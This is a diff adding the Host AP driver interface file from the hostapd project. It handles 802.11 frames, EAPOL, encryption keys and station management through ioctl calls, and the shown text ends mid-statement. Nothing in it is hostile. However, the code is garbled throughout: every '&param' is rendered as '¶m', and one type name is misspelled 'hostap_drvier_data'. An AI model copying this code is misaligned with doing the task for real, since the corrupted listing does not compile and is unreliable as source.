@@ +/* + * Driver interaction with Linux Host AP driver + * Copyright (c) 2003-2005, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#include + +#include "linux_wext.h" +#include "common.h" +#include "driver.h" +#include "driver_wext.h" +#include "eloop.h" +#include "driver_hostap.h" + + +#include +#include + +#include "priv_netlink.h" +#include "netlink.h" +#include "linux_ioctl.h" +#include "common/ieee802_11_defs.h" +#include "common/ieee802_11_common.h" + + +/* MTU to be set for the wlan#ap device; this is mainly needed for IEEE 802.1X + * frames that might be longer than normal default MTU and they are not + * fragmented */ +#define HOSTAPD_MTU 2290 + +static const u8 rfc1042_header[6] = { 0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00 }; + +struct hostap_driver_data { + struct hostapd_data *hapd; + + char iface[IFNAMSIZ + 1]; + int sock; /* raw packet socket for driver access */ + int ioctl_sock; /* socket for ioctl() use */ + struct netlink_data *netlink; + + int we_version; + + u8 *generic_ie; + size_t generic_ie_len; + u8 *wps_ie; + size_t wps_ie_len; +}; + + +static int hostapd_ioctl(void *priv, struct prism2_hostapd_param *param, + int len); +static int hostap_set_iface_flags(void *priv, int dev_up); + +static void handle_data(struct hostap_driver_data *drv, u8 *buf, size_t len, + u16 stype) +{ + struct ieee80211_hdr *hdr; + u16 fc, ethertype; + u8 *pos, *sa; + size_t left; + union wpa_event_data event; + + if (len < sizeof(struct ieee80211_hdr)) + return; + + hdr = (struct ieee80211_hdr *) buf; + fc = le_to_host16(hdr->frame_control); + + if ((fc & (WLAN_FC_FROMDS | WLAN_FC_TODS)) != WLAN_FC_TODS) { + printf("Not ToDS data frame (fc=0x%04x)\n", fc); + return; + } + + sa = hdr->addr2; + os_memset(&event, 0, sizeof(event)); + event.rx_from_unknown.bssid = get_hdr_bssid(hdr, len); + event.rx_from_unknown.addr = sa; + wpa_supplicant_event(drv->hapd, EVENT_RX_FROM_UNKNOWN, &event); + + pos = (u8 *) (hdr + 1); + left = len - sizeof(*hdr); + + if (left < sizeof(rfc1042_header)) { + printf("Too short data frame\n"); + return; + } + + if (memcmp(pos, rfc1042_header, sizeof(rfc1042_header)) != 0) { + printf("Data frame with no RFC1042 header\n"); + return; + } + pos += sizeof(rfc1042_header); + left -= sizeof(rfc1042_header); + + if (left < 2) { + printf("No ethertype in data frame\n"); + return; + } + + ethertype = WPA_GET_BE16(pos); + pos += 2; + left -= 2; + switch (ethertype) { + case ETH_P_PAE: + drv_event_eapol_rx(drv->hapd, sa, pos, left); + break; + + default: + printf("Unknown ethertype 0x%04x in data frame\n", ethertype); + break; + } +} + + +static void handle_tx_callback(struct hostap_driver_data *drv, u8 *buf, + size_t len, int ok) +{ + struct ieee80211_hdr *hdr; + u16 fc; + union wpa_event_data event; + + hdr = (struct ieee80211_hdr *) buf; + fc = le_to_host16(hdr->frame_control); + + os_memset(&event, 0, sizeof(event)); + event.tx_status.type = WLAN_FC_GET_TYPE(fc); + event.tx_status.stype = WLAN_FC_GET_STYPE(fc); + event.tx_status.dst = hdr->addr1; + event.tx_status.data = buf; + event.tx_status.data_len = len; + event.tx_status.ack = ok; + wpa_supplicant_event(drv->hapd, EVENT_TX_STATUS, &event); +} + + +static void handle_frame(struct hostap_driver_data *drv, u8 *buf, size_t len) +{ + struct ieee80211_hdr *hdr; + u16 fc, extra_len, type, stype; + size_t data_len = len; + int ver; + union wpa_event_data event; + + /* PSPOLL is only 16 bytes, but driver does not (at least yet) pass + * these to user space */ + if (len < 24) { + wpa_printf(MSG_MSGDUMP, "handle_frame: too short (%lu)", + (unsigned long) len); + return; + } + + hdr = (struct ieee80211_hdr *) buf; + fc = le_to_host16(hdr->frame_control); + type = WLAN_FC_GET_TYPE(fc); + stype = WLAN_FC_GET_STYPE(fc); + + if (type != WLAN_FC_TYPE_MGMT || stype != WLAN_FC_STYPE_BEACON) { + wpa_hexdump(MSG_MSGDUMP, "Received management frame", + buf, len); + } + + ver = fc & WLAN_FC_PVER; + + /* protocol version 3 is reserved for indicating extra data after the + * payload, version 2 for indicating ACKed frame (TX callbacks), and + * version 1 for indicating failed frame (no ACK, TX callbacks) */ + if (ver == 3) { + u8 *pos = buf + len - 2; + extra_len = WPA_GET_LE16(pos); + printf("extra data in frame (elen=%d)\n", extra_len); + if ((size_t) extra_len + 2 > len) { + printf(" extra data overflow\n"); + return; + } + len -= extra_len + 2; + } else if (ver == 1 || ver == 2) { + handle_tx_callback(drv, buf, data_len, ver == 2 ? 1 : 0); + return; + } else if (ver != 0) { + printf("unknown protocol version %d\n", ver); + return; + } + + switch (type) { + case WLAN_FC_TYPE_MGMT: + os_memset(&event, 0, sizeof(event)); + event.rx_mgmt.frame = buf; + event.rx_mgmt.frame_len = data_len; + wpa_supplicant_event(drv->hapd, EVENT_RX_MGMT, &event); + break; + case WLAN_FC_TYPE_CTRL: + wpa_printf(MSG_DEBUG, "CTRL"); + break; + case WLAN_FC_TYPE_DATA: + wpa_printf(MSG_DEBUG, "DATA"); + handle_data(drv, buf, data_len, stype); + break; + default: + wpa_printf(MSG_DEBUG, "unknown frame type %d", type); + break; + } +} + + +static void handle_read(int sock, void *eloop_ctx, void *sock_ctx) +{ + struct hostap_driver_data *drv = eloop_ctx; + int len; + unsigned char buf[3000]; + + len = recv(sock, buf, sizeof(buf), 0); + if (len < 0) { + perror("recv"); + return; + } + + handle_frame(drv, buf, len); +} + + +static int hostap_init_sockets(struct hostap_driver_data *drv, u8 *own_addr) +{ + struct ifreq ifr; + struct sockaddr_ll addr; + + drv->sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); + if (drv->sock < 0) { + perror("socket[PF_PACKET,SOCK_RAW]"); + return -1; + } + + if (eloop_register_read_sock(drv->sock, handle_read, drv, NULL)) { + printf("Could not register read socket\n"); + return -1; + } + + memset(&ifr, 0, sizeof(ifr)); + snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%sap", drv->iface); + if (ioctl(drv->sock, SIOCGIFINDEX, &ifr) != 0) { + perror("ioctl(SIOCGIFINDEX)"); + return -1; + } + + if (hostap_set_iface_flags(drv, 1)) { + return -1; + } + + memset(&addr, 0, sizeof(addr)); + addr.sll_family = AF_PACKET; + addr.sll_ifindex = ifr.ifr_ifindex; + wpa_printf(MSG_DEBUG, "Opening raw packet socket for ifindex %d", + addr.sll_ifindex); + + if (bind(drv->sock, (struct sockaddr *) &addr, sizeof(addr)) < 0) { + perror("bind"); + return -1; + } + + return linux_get_ifhwaddr(drv->sock, drv->iface, own_addr); +} + + +static int hostap_send_mlme(void *priv, const u8 *msg, size_t len, int noack) +{ + struct hostap_driver_data *drv = priv; + struct ieee80211_hdr *hdr = (struct ieee80211_hdr *) msg; + int res; + + /* Request TX callback */ + hdr->frame_control |= host_to_le16(BIT(1)); + res = send(drv->sock, msg, len, 0); + hdr->frame_control &= ~host_to_le16(BIT(1)); + + return res; +} + + +static int hostap_send_eapol(void *priv, const u8 *addr, const u8 *data, + size_t data_len, int encrypt, const u8 *own_addr, + u32 flags) +{ + struct hostap_driver_data *drv = priv; + struct ieee80211_hdr *hdr; + size_t len; + u8 *pos; + int res; + + len = sizeof(*hdr) + sizeof(rfc1042_header) + 2 + data_len; + hdr = os_zalloc(len); + if (hdr == NULL) { + printf("malloc() failed for hostapd_send_data(len=%lu)\n", + (unsigned long) len); + return -1; + } + + hdr->frame_control = + IEEE80211_FC(WLAN_FC_TYPE_DATA, WLAN_FC_STYPE_DATA); + hdr->frame_control |= host_to_le16(WLAN_FC_FROMDS); + if (encrypt) + hdr->frame_control |= host_to_le16(WLAN_FC_ISWEP); + memcpy(hdr->IEEE80211_DA_FROMDS, addr, ETH_ALEN); + memcpy(hdr->IEEE80211_BSSID_FROMDS, own_addr, ETH_ALEN); + memcpy(hdr->IEEE80211_SA_FROMDS, own_addr, ETH_ALEN); + + pos = (u8 *) (hdr + 1); + memcpy(pos, rfc1042_header, sizeof(rfc1042_header)); + pos += sizeof(rfc1042_header); + *((u16 *) pos) = htons(ETH_P_PAE); + pos += 2; + memcpy(pos, data, data_len); + + res = hostap_send_mlme(drv, (u8 *) hdr, len, 0); + if (res < 0) { + wpa_printf(MSG_ERROR, "hostap_send_eapol - packet len: %lu - " + "failed: %d (%s)", + (unsigned long) len, errno, strerror(errno)); + } + free(hdr); + + return res; +} + + +static int hostap_sta_set_flags(void *priv, const u8 *addr, + int total_flags, int flags_or, int flags_and) +{ + struct hostap_driver_data *drv = priv; + struct prism2_hostapd_param param; + + if (flags_or & WPA_STA_AUTHORIZED) + flags_or = BIT(5); /* WLAN_STA_AUTHORIZED */ + if (!(flags_and & WPA_STA_AUTHORIZED)) + flags_and = ~BIT(5); + else + flags_and = ~0; + memset(¶m, 0, sizeof(param)); + param.cmd = PRISM2_HOSTAPD_SET_FLAGS_STA; + memcpy(param.sta_addr, addr, ETH_ALEN); + param.u.set_flags_sta.flags_or = flags_or; + param.u.set_flags_sta.flags_and = flags_and; + return hostapd_ioctl(drv, ¶m, sizeof(param)); +} + + +static int hostap_set_iface_flags(void *priv, int dev_up) +{ + struct hostap_driver_data *drv = priv; + struct ifreq ifr; + char ifname[IFNAMSIZ]; + + os_snprintf(ifname, IFNAMSIZ, "%sap", drv->iface); + if (linux_set_iface_flags(drv->ioctl_sock, ifname, dev_up) < 0) + return -1; + + if (dev_up) { + memset(&ifr, 0, sizeof(ifr)); + os_strlcpy(ifr.ifr_name, ifname, IFNAMSIZ); + ifr.ifr_mtu = HOSTAPD_MTU; + if (ioctl(drv->ioctl_sock, SIOCSIFMTU, &ifr) != 0) { + perror("ioctl[SIOCSIFMTU]"); + printf("Setting MTU failed - trying to survive with " + "current value\n"); + } + } + + return 0; +} + + +static int hostapd_ioctl(void *priv, struct prism2_hostapd_param *param, + int len) +{ + struct hostap_driver_data *drv = priv; + struct iwreq iwr; + + memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->iface, IFNAMSIZ); + iwr.u.data.pointer = (caddr_t) param; + iwr.u.data.length = len; + + if (ioctl(drv->ioctl_sock, PRISM2_IOCTL_HOSTAPD, &iwr) < 0) { + perror("ioctl[PRISM2_IOCTL_HOSTAPD]"); + return -1; + } + + return 0; +} + + +static int wpa_driver_hostap_set_key(const char *ifname, void *priv, + enum wpa_alg alg, const u8 *addr, + int key_idx, int set_tx, + const u8 *seq, size_t seq_len, + const u8 *key, size_t key_len) +{ + struct hostap_driver_data *drv = priv; + struct prism2_hostapd_param *param; + u8 *buf; + size_t blen; + int ret = 0; + + blen = sizeof(*param) + key_len; + buf = os_zalloc(blen); + if (buf == NULL) + return -1; + + param = (struct prism2_hostapd_param *) buf; + param->cmd = PRISM2_SET_ENCRYPTION; + if (addr == NULL) + memset(param->sta_addr, 0xff, ETH_ALEN); + else + memcpy(param->sta_addr, addr, ETH_ALEN); + switch (alg) { + case WPA_ALG_NONE: + os_strlcpy((char *) param->u.crypt.alg, "NONE", + HOSTAP_CRYPT_ALG_NAME_LEN); + break; + case WPA_ALG_WEP: + os_strlcpy((char *) param->u.crypt.alg, "WEP", + HOSTAP_CRYPT_ALG_NAME_LEN); + break; + case WPA_ALG_TKIP: + os_strlcpy((char *) param->u.crypt.alg, "TKIP", + HOSTAP_CRYPT_ALG_NAME_LEN); + break; + case WPA_ALG_CCMP: + os_strlcpy((char *) param->u.crypt.alg, "CCMP", + HOSTAP_CRYPT_ALG_NAME_LEN); + break; + default: + os_free(buf); + return -1; + } + param->u.crypt.flags = set_tx ? HOSTAP_CRYPT_FLAG_SET_TX_KEY : 0; + param->u.crypt.idx = key_idx; + param->u.crypt.key_len = key_len; + memcpy((u8 *) (param + 1), key, key_len); + + if (hostapd_ioctl(drv, param, blen)) { + printf("Failed to set encryption.\n"); + ret = -1; + } + free(buf); + + return ret; +} + + +static int hostap_get_seqnum(const char *ifname, void *priv, const u8 *addr, + int idx, u8 *seq) +{ + struct hostap_driver_data *drv = priv; + struct prism2_hostapd_param *param; + u8 *buf; + size_t blen; + int ret = 0; + + blen = sizeof(*param) + 32; + buf = os_zalloc(blen); + if (buf == NULL) + return -1; + + param = (struct prism2_hostapd_param *) buf; + param->cmd = PRISM2_GET_ENCRYPTION; + if (addr == NULL) + memset(param->sta_addr, 0xff, ETH_ALEN); + else + memcpy(param->sta_addr, addr, ETH_ALEN); + param->u.crypt.idx = idx; + + if (hostapd_ioctl(drv, param, blen)) { + printf("Failed to get encryption.\n"); + ret = -1; + } else { + memcpy(seq, param->u.crypt.seq, 8); + } + free(buf); + + return ret; +} + + +static int hostap_ioctl_prism2param(void *priv, int param, int value) +{ + struct hostap_driver_data *drv = priv; + struct iwreq iwr; + int *i; + + memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->iface, IFNAMSIZ); + i = (int *) iwr.u.name; + *i++ = param; + *i++ = value; + + if (ioctl(drv->ioctl_sock, PRISM2_IOCTL_PRISM2_PARAM, &iwr) < 0) { + perror("ioctl[PRISM2_IOCTL_PRISM2_PARAM]"); + return -1; + } + + return 0; +} + + +static int hostap_set_ieee8021x(void *priv, struct wpa_bss_params *params) +{ + struct hostap_driver_data *drv = priv; + int enabled = params->enabled; + + /* enable kernel driver support for IEEE 802.1X */ + if (hostap_ioctl_prism2param(drv, PRISM2_PARAM_IEEE_802_1X, enabled)) { + printf("Could not setup IEEE 802.1X support in kernel driver." + "\n"); + return -1; + } + + if (!enabled) + return 0; + + /* use host driver implementation of encryption to allow + * individual keys and passing plaintext EAPOL frames */ + if (hostap_ioctl_prism2param(drv, PRISM2_PARAM_HOST_DECRYPT, 1) || + hostap_ioctl_prism2param(drv, PRISM2_PARAM_HOST_ENCRYPT, 1)) { + printf("Could not setup host-based encryption in kernel " + "driver.\n"); + return -1; + } + + return 0; +} + + +static int hostap_set_privacy(void *priv, int enabled) +{ + struct hostap_drvier_data *drv = priv; + + return hostap_ioctl_prism2param(drv, PRISM2_PARAM_PRIVACY_INVOKED, + enabled); +} + + +static int hostap_set_ssid(void *priv, const u8 *buf, int len) +{ + struct hostap_driver_data *drv = priv; + struct iwreq iwr; + + memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->iface, IFNAMSIZ); + iwr.u.essid.flags = 1; /* SSID active */ + iwr.u.essid.pointer = (caddr_t) buf; + iwr.u.essid.length = len + 1; + + if (ioctl(drv->ioctl_sock, SIOCSIWESSID, &iwr) < 0) { + perror("ioctl[SIOCSIWESSID]"); + printf("len=%d\n", len); + return -1; + } + + return 0; +} + + +static int hostap_flush(void *priv) +{ + struct hostap_driver_data *drv = priv; + struct prism2_hostapd_param param; + + memset(¶m, 0, sizeof(param)); + param.cmd = PRISM2_HOSTAPD_FLUSH; + return hostapd_ioctl(drv, ¶m, sizeof(param)); +} + + +static int hostap_read_sta_data(void *priv, + struct hostap_sta_driver_data *data, + const u8 *addr) +{ + struct hostap_driver_data *drv = priv; + char buf[1024], line[128], *pos; + FILE *f; + unsigned long val; + + memset(data, 0, sizeof(*data)); + snprintf(buf, sizeof(buf), "/proc/net/hostap/%s/" MACSTR, + drv->iface, MAC2STR(addr)); + + f = fopen(buf, "r"); + if (!f) + return -1; + /* Need to read proc file with in one piece, so use large enough + * buffer. */ + setbuffer(f, buf, sizeof(buf)); + + while (fgets(line, sizeof(line), f)) { + pos = strchr(line, '='); + if (!pos) + continue; + *pos++ = '\0'; + val = strtoul(pos, NULL, 10); + if (strcmp(line, "rx_packets") == 0) + data->rx_packets = val; + else if (strcmp(line, "tx_packets") == 0) + data->tx_packets = val; + else if (strcmp(line, "rx_bytes") == 0) + data->rx_bytes = val; + else if (strcmp(line, "tx_bytes") == 0) + data->tx_bytes = val; + } + + fclose(f); + + return 0; +} + + +static int hostap_sta_add(void *priv, struct hostapd_sta_add_params *params) +{ + struct hostap_driver_data *drv = priv; + struct prism2_hostapd_param param; + int tx_supp_rates = 0; + size_t i; + +#define WLAN_RATE_1M BIT(0) +#define WLAN_RATE_2M BIT(1) +#define WLAN_RATE_5M5 BIT(2) +#define WLAN_RATE_11M BIT(3) + + for (i = 0; i < params->supp_rates_len; i++) { + if ((params->supp_rates[i] & 0x7f) == 2) + tx_supp_rates |= WLAN_RATE_1M; + if ((params->supp_rates[i] & 0x7f) == 4) + tx_supp_rates |= WLAN_RATE_2M; + if ((params->supp_rates[i] & 0x7f) == 11) + tx_supp_rates |= WLAN_RATE_5M5; + if ((params->supp_rates[i] & 0x7f) == 22) + tx_supp_rates |= WLAN_RATE_11M; + } + + memset(¶m, 0, sizeof(param)); + param.cmd = PRISM2_HOSTAPD_ADD_STA; + memcpy(param.sta_addr, params->addr, ETH_ALEN); + param.u.add_sta.aid = params->aid; + param.u.add_sta.capability = params->capability; + param.u.add_sta.tx_supp_rates = tx_supp_rates; + return hostapd_ioctl(drv, ¶m, sizeof(param)); +} + + +static int hostap_sta_remove(void *priv, const u8 *addr) +{ + struct hostap_driver_data *drv = priv; + struct prism2_hostapd_param param; + + hostap_sta_set_flags(drv, addr, 0, 0, ~WPA_STA_AUTHORIZED); + + memset(¶m, 0, sizeof(param)); + param.cmd = PRISM2_HOSTAPD_REMOVE_STA; + memcpy(param.sta_addr, addr, ETH_ALEN); + if (hostapd_ioctl(drv, ¶m, sizeof(param))) { + printf("Could not remove station from kernel driver.\n"); + return -1; + } + return 0; +} + + +static int hostap_get_inact_sec(void *priv, const u8 *addr) +{ + struct hostap_driver_data *drv = priv; + struct prism2_hostapd_param param; + + memset(¶m, 0, sizeof(param)); + param.cmd = PRISM2_HOSTAPD_GET_INFO_STA; + memcpy(param.sta_addr, addr, ETH_ALEN); + if (hostapd_ioctl(drv, ¶m, sizeof(param))) { + return -1; + } + + return param.u.get_info_sta.inactive_sec; +} + + +static int hostap_sta_clear_stats(void *priv, const u8 *addr) +{ + struct hostap_driver_data *drv = priv; + struct prism2_hostapd_param param; + + memset(¶m, 0, sizeof(param)); + param.cmd = PRISM2_HOSTAPD_STA_CLEAR_STATS; + memcpy(param.sta_addr, addr, ETH_ALEN); + if (hostapd_ioctl(drv, ¶m, sizeof(param))) { + return -1; + } + + return 0; +} + + +static int hostapd_ioctl_set_generic_elem(struct hostap_driver_data *drv) +{ + struct prism2_hostapd_param *param; + int res; + size_t blen, elem_len; + + elem_len = drv->generic_ie_len + drv->wps_ie_len; + blen = PRISM2_HOSTAPD_GENERIC_ELEMENT_HDR_LEN + elem_len; + if (blen < sizeof(*param)) + blen = sizeof(*param); + + param = os_zalloc(blen); + if (param == NULL) + return -1; + + param->cmd = PRISM2_HOSTAPD_SET_GENERIC_ELEMENT; + param->u.generic_elem.len = elem_len; + if (drv->generic_ie) { + os_memcpy(param->u.generic_elem.data, drv->generic_ie, + drv->generic_ie_len); + } + if (drv->wps_ie) { + os_memcpy(¶m->u.generic_elem.data[drv->generic_ie_len], + drv->wps_ie, drv->wps_ie_len); + } + wpa_hexdump(MSG_DEBUG, "hostap: Set generic IE", + param->u.generic_elem.data, elem_len); + res = hostapd_ioctl(drv, param, blen); + + os_free(param); + + return res; +} + + +static int hostap_set_generic_elem(void *priv, + const u8 *elem, size_t elem_len) +{ + struct hostap_driver_data *drv = priv; + + os_free(drv->generic_ie); + drv->generic_ie = NULL; + drv->generic_ie_len = 0; + if (elem) { + drv->generic_ie = os_malloc(elem_len); + if (drv->generic_ie == NULL) + return -1; + os_memcpy(drv->generic_ie, elem, elem_len); + drv->generic_ie_len = elem_len; + } + + return hostapd_ioctl_set_generic_elem(drv); +} + + +static int hostap_set_ap_wps_ie(void *priv, const struct wpabuf *beacon, + const struct wpabuf *proberesp, + const struct wpabuf *assocresp) +{ + struct hostap_driver_data *drv = priv; + + /* + * Host AP driver supports only one set of extra IEs, so we need to + * use the Probe Response IEs also for Beacon frames since they include + * more information. + */ + + os_free(drv->wps_ie); + drv->wps_ie = NULL; + drv->wps_ie_len = 0; + if (proberesp) { + drv->wps_ie = os_malloc(wpabuf_len(proberesp)); + if (drv->wps_ie == NULL) + return -1; + os_memcpy(drv->wps_ie, wpabuf_head(proberesp), + wpabuf_len(proberesp)); + drv->wps_ie_len = wpabuf_len(proberesp); + } + + return hostapd_ioctl_set_generic_elem(drv); +} + + +static void +hostapd_wireless_event_wireless_custom(struct hostap_driver_data *drv, + char *custom) +{ + wpa_printf(MSG_DEBUG, "Custom wireless event: '%s'", custom); + + if (strncmp(custom, "MLME-MICHAELMICFAILURE.indication", 33) == 0) { + char *pos; + u8 addr[ETH_ALEN]; + pos = strstr(custom, "addr="); + if (pos == NULL) { + wpa_printf(MSG_DEBUG, + "MLME-MICHAELMICFAILURE.indication " + "without sender address ignored"); + return; + } + pos += 5; + if (hwaddr_aton(pos, addr) == 0) { + union wpa_event_data data; + os_memset(&data, 0, sizeof(data)); + data.michael_mic_failure.unicast = 1; + data.michael_mic_failure.src = addr; + wpa_supplicant_event(drv->hapd, + EVENT_MICHAEL_MIC_FAILURE, &data); + } else { + wpa_printf(MSG_DEBUG, + "MLME-MICHAELMICFAILURE.indication " + "with invalid MAC address"); + } + } +} + + +static void hostapd_wireless_event_wireless(struct hostap_driver_data *drv, + char *data, int len) +{ + struct iw_event iwe_buf, *iwe = &iwe_buf; + char *pos, *end, *custom, *buf; + + pos = data; + end = data + len; + + while (pos + IW_EV_LCP_LEN <= end) { + /* Event data may be unaligned, so make a local, aligned copy + * before processing. */ + memcpy(&iwe_buf, pos, IW_EV_LCP_LEN); + wpa_printf(MSG_DEBUG, "Wireless event: cmd=0x%x len=%d", + iwe->cmd, iwe->len); + if (iwe->len <= IW_EV_LCP_LEN) + return; + + custom = pos + IW_EV_POINT_LEN; + if (drv->we_version > 18 && + (iwe->cmd == IWEVMICHAELMICFAILURE || + iwe->cmd == IWEVCUSTOM)) { + /* WE-19 removed the pointer from struct iw_point */ + char *dpos = (char *) &iwe_buf.u.data.length; + int dlen = dpos - (char *) &iwe_buf; + memcpy(dpos, pos + IW_EV_LCP_LEN, + sizeof(struct iw_event) - dlen); + } else { + memcpy(&iwe_buf, pos, sizeof(struct iw_event)); + custom += IW_EV_POINT_OFF; + } + + switch (iwe->cmd) { + case IWEVCUSTOM: + if (custom + iwe->u.data.length > end) + return; + buf = malloc(iwe->u.data.length + 1); + if (buf == NULL) + return; + memcpy(buf, custom, iwe->u.data.length); + buf[iwe->u.data.length] = '\0'; + hostapd_wireless_event_wireless_custom(drv, buf); + free(buf); + break; + } + + pos += iwe->len; + } +} + + +static void hostapd_wireless_event_rtm_newlink(void *ctx, + struct ifinfomsg *ifi, + u8 *buf, size_t len) +{ + struct hostap_driver_data *drv = ctx; + int attrlen, rta_len; + struct rtattr *attr; + + /* TODO: use ifi->ifi_index to filter out wireless events from other + * interfaces */ + + attrlen = len; + attr = (struct rtattr *) buf; + + rta_len = RTA_ALIGN(sizeof(struct rtattr)); + while (RTA_OK(attr, attrlen)) { + if (attr->rta_type == IFLA_WIRELESS) { + hostapd_wireless_event_wireless( + drv, ((char *) attr) + rta_len, + attr->rta_len - rta_len); + } + attr = RTA_NEXT(attr, attrlen); + } +} + + +static int hostap_get_we_version(struct hostap_driver_data *drv) +{ + struct iw_range *range; + struct iwreq iwr; + int minlen; + size_t buflen; + + drv->we_version = 0; + + /* + * Use larger buffer than struct iw_range in order to allow the + * structure to grow in the future. + */ + buflen = sizeof(struct iw_range) + 500; + range = os_zalloc(buflen); + if (range == NULL) + return -1; + + memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->iface, IFNAMSIZ); + iwr.u.data.pointer = (caddr_t) range; + iwr.u.data.length = buflen; + + minlen = ((char *) &range->enc_capa) - (char *) range + + sizeof(range->enc_capa); + + if (ioctl(drv->ioctl_sock, SIOCGIWRANGE, &iwr) < 0) { + perror("ioctl[SIOCGIWRANGE]"); + free(range); + return -1; + } else if (iwr.u.data.length >= minlen && + range->we_version_compiled >= 18) { + wpa_printf(MSG_DEBUG, "SIOCGIWRANGE: WE(compiled)=%d " + "WE(source)=%d enc_capa=0x%x", + range->we_version_compiled, + range->we_version_source, + range->enc_capa); + drv->we_version = range->we_version_compiled; + } + + free(range); + return 0; +} + + +static int hostap_wireless_event_init(struct hostap_driver_data *drv) +{ + struct netlink_config *cfg; + + hostap_get_we_version(drv); + + cfg = os_zalloc(sizeof(*cfg)); + if (cfg == NULL) + return -1; + cfg->ctx = drv; + cfg->newlink_cb = hostapd_wireless_event_rtm_newlink; + drv->netlink = netlink_init(cfg); + if (drv->netlink == NULL) { + os_free(cfg); + return -1; + } + + return 0; +} + + +static void * hostap_init(struct hostapd_data *hapd, + struct wpa_init_params *params) +{ + struct hostap_driver_data *drv; + + drv = os_zalloc(sizeof(struct hostap_driver_data)); + if (drv == NULL) { + printf("Could not allocate memory for hostapd driver data\n"); + return NULL; + } + + drv->hapd = hapd; + drv->ioctl_sock = drv->sock = -1; + memcpy(drv->iface, params->ifname, sizeof(drv->iface)); + + drv->ioctl_sock = socket(PF_INET, SOCK_DGRAM, 0); + if (drv->ioctl_sock < 0) { + perror("socket[PF_INET,SOCK_DGRAM]"); + free(drv); + return NULL; + } + + if (hostap_ioctl_prism2param(drv, PRISM2_PARAM_HOSTAPD, 1)) { + printf("Could not enable hostapd mode for interface %s\n", + drv->iface); + close(drv->ioctl_sock); + free(drv); + return NULL; + } + + if (hostap_init_sockets(drv, params->own_addr) || + hostap_wireless_event_init(drv)) { + close(drv->ioctl_sock); + free(drv); + return NULL; + } + + return drv; +} + + +static void hostap_driver_deinit(void *priv) +{ + struct hostap_driver_data *drv = priv; + + netlink_deinit(drv->netlink); + (void) hostap_set_iface_flags(drv, 0); + (void) hostap_ioctl_prism2param(drv, PRISM2_PARAM_HOSTAPD, 0); + (void) hostap_ioctl_prism2param(drv, PRISM2_PARAM_HOSTAPD_STA, 0); + + if (drv->ioctl_sock >= 0) + close(drv->ioctl_sock); + + if (drv->sock >= 0) + close(drv->sock); + + os_free(drv->generic_ie); + os_free(drv->wps_ie); + + free(drv); +} + + +static int hostap_sta_deauth(void *priv, const u8 *own_addr, const u8 *addr, + int reason) +{ + struct hostap_driver_data *drv = priv; + struct ieee80211_mgmt mgmt; + + if (is_broadcast_ether_addr(addr)) { + /* + * New Prism2.5/3 STA firmware versions seem to have issues + * with this broadcast deauth frame. This gets the firmware in + * odd state where nothing works correctly, so let's skip + * sending this for the hostap driver. + */ + return 0; + } + + memset(&mgmt, 0, sizeof(mgmt)); + mgmt.frame_control = IEEE80211_FC(WLAN_FC_TYPE_MGMT, + WLAN_FC_STYPE_DEAUTH); + memcpy(mgmt.da, addr, ETH_ALEN); + memcpy(mgmt.sa, own_addr, ETH_ALEN); + memcpy(mgmt.bssid, own_addr, ETH_ALEN); + mgmt.u.deauth.reason_code = host_to_le16(reason); + return hostap_send_mlme(drv, (u8 *) &mgmt, IEEE80211_HDRLEN + + sizeof(mgmt.u.deauth), 0); +} + + +static int hostap_set_freq(void *priv, struct hostapd_freq_params *freq) +{ + struct hostap_driver_data *drv = priv; + struct iwreq iwr; + + os_memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->iface, IFNAMSIZ); + iwr.u.freq.m = freq->channel; + iwr.u.freq.e = 0; + + if (ioctl(drv->ioctl_sock, SIOCSIWFREQ, &iwr) < 0) { + perror("ioctl[SIOCSIWFREQ]"); + return -1; + } + + return 0; +} + + +static int hostap_sta_disassoc(void *priv, const u8 *own_addr, const u8 *addr, + int reason) +{ + struct hostap_driver_data *drv = priv; + struct ieee80211_mgmt mgmt; + + memset(&mgmt, 0, sizeof(mgmt)); + mgmt.frame_control = IEEE80211_FC(WLAN_FC_TYPE_MGMT, + WLAN_FC_STYPE_DISASSOC); + memcpy(mgmt.da, addr, ETH_ALEN); + memcpy(mgmt.sa, own_addr, ETH_ALEN); + memcpy(mgmt.bssid, own_addr, ETH_ALEN); + mgmt.u.disassoc.reason_code = host_to_le16(reason); + return hostap_send_mlme(drv, (u8 *) &mgmt, IEEE80211_HDRLEN + + sizeof(mgmt.u.disassoc), 0); +} + + +static struct hostapd_hw_modes * hostap_get_hw_feature_data(void *priv, + u16 *num_modes, + u16 *flags) +{ + struct hostapd_hw_modes *mode; + int i, clen, rlen; + const short chan2freq[14] = { + 2412, 2417, 2422, 2427, 2432, 2437, 2442, + 2447, 2452, 2457, 2462, 2467, 2472, 2484 + }; + + mode = os_zalloc(sizeof(struct hostapd_hw_modes)); + if (mode == NULL) + return NULL; + + *num_modes = 1; + *flags = 0; + + mode->mode = HOSTAPD_MODE_IEEE80211B; + mode->num_channels = 14; + mode->num_rates = 4; + + clen = mode->num_channels * sizeof(struct hostapd_channel_data); + rlen = mode->num_rates * sizeof(int); + + mode->channels = os_zalloc(clen); + mode->rates = os_zalloc(rlen); + if (mode->channels == NULL || mode->rates == NULL) { + os_free(mode->channels); + os_free(mode->rates); + os_free(mode); + return NULL; + } + + for (i = 0; i < 14; i++) { + mode->channels[i].chan = i + 1; + mode->channels[i].freq = chan2freq[i]; + /* TODO: Get allowed channel list from the driver */ + if (i >= 11) + mode->channels[i].flag = HOSTAPD_CHAN_DISABLED; + } + + mode->rates[0] = 10; + mode->rates[1] = 20; + mode->rates[2] = 55; + mode->rates[3] = 110; + + return mode; +} + + +static void wpa_driver_hostap_poll_client(void *priv, const u8 *own_addr, + const u8 *addr, int qos) +{ + struct ieee80211_hdr hdr; + + os_memset(&hdr, 0, sizeof(hdr)); + + /* + * WLAN_FC_STYPE_NULLFUNC would be more appropriate, + * but it is apparently not retried so TX Exc events + * are not received for it. + * This is the reason the driver overrides the default + * handling. + */ + hdr.frame_control = IEEE80211_FC(WLAN_FC_TYPE_DATA, + WLAN_FC_STYPE_DATA); + + hdr.frame_control |= + 